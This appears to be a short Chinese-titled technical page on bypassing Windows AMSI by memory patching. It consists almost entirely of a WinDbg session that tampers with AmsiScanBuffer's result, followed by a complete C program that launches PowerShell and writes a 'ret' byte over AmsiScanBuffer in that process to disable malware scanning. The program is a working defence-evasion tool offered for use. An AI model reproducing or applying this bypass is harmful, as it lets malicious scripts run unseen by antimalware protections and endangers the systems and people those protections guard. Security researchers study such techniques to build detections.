基于内存补丁的AMSI绕过
最后更新于
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};0:029> bm Amsi!AmsiScanBuffer
SYMSRV: BYINDEX: 0x3
c:\symbols*http://msdl.microsoft.com/download/symbols
Amsi.pdb
C010A935E7681F4F58B28C6AA852B23A1
SYMSRV: PATH: c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
SYMSRV: RESULT: 0x00000000
DBGHELP: amsi - public symbols
c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
1: 00007ffb`56bd2710 @!"amsi!AmsiScanBuffer"0:004> g
Breakpoint 1 hit
amsi!AmsiScanBuffer:
00007ffb`56bd2710 4c8bdc mov r11,rsp
0:025> db rdx
000002d6`892c3984 22 00 41 00 6d 00 73 00-69 00 53 00 63 00 61 00 ".A.m.s.i.S.c.a.
000002d6`892c3994 6e 00 42 00 75 00 66 00-66 00 65 00 72 00 22 00 n.B.u.f.f.e.r.".
000002d6`892c39a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................0:025> dq rsp+28
000000fb`169ce328 000000fb`169ce418 00004cd9`c14878ba
000000fb`169ce338 00007ffb`307da9f0 000000fb`169cec40
000000fb`169ce348 00007ffa`fde3e510 00007ffa`fde3e510
000000fb`169ce358 000000fb`169ce300 00007ffa`fe8d75c7
000000fb`169ce368 000000fb`169ce3c0 00007ffa`fde3e510
000000fb`169ce378 000000fb`169ce418 000002d6`88b61420
000000fb`169ce388 00000000`00000009 000002d6`892c3978
000000fb`169ce398 000002d6`88b61420 000002d6`88be22900:025> dq 000000fb`169ce418
000000fb`169ce418 00000000`00008000 00000000`00000000
000000fb`169ce428 00000000`00000001 000002d6`892c7a30
000000fb`169ce438 000002d6`892c7f00 000002d6`892c7af0
000000fb`169ce448 000002d6`892c7fc8 000002d6`892c3978
000000fb`169ce458 00007ffa`fea6b645 00007ffa`ff42eb28
000000fb`169ce468 00007ffb`3003f4b3 000002d6`a0b99690
000000fb`169ce478 00007ffb`2d28b58e 00000000`ffffffff
000000fb`169ce488 000002d6`98b69ac0 00000000`000000000:025> f 000000fb`169ce418 l8 0
Filled 0x8 bytes
0:025> dq 000000fb`169ce418
000000fb`169ce418 00000000`00000000 00000000`00000000
000000fb`169ce428 00000000`00000001 000002d6`892c7a30#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}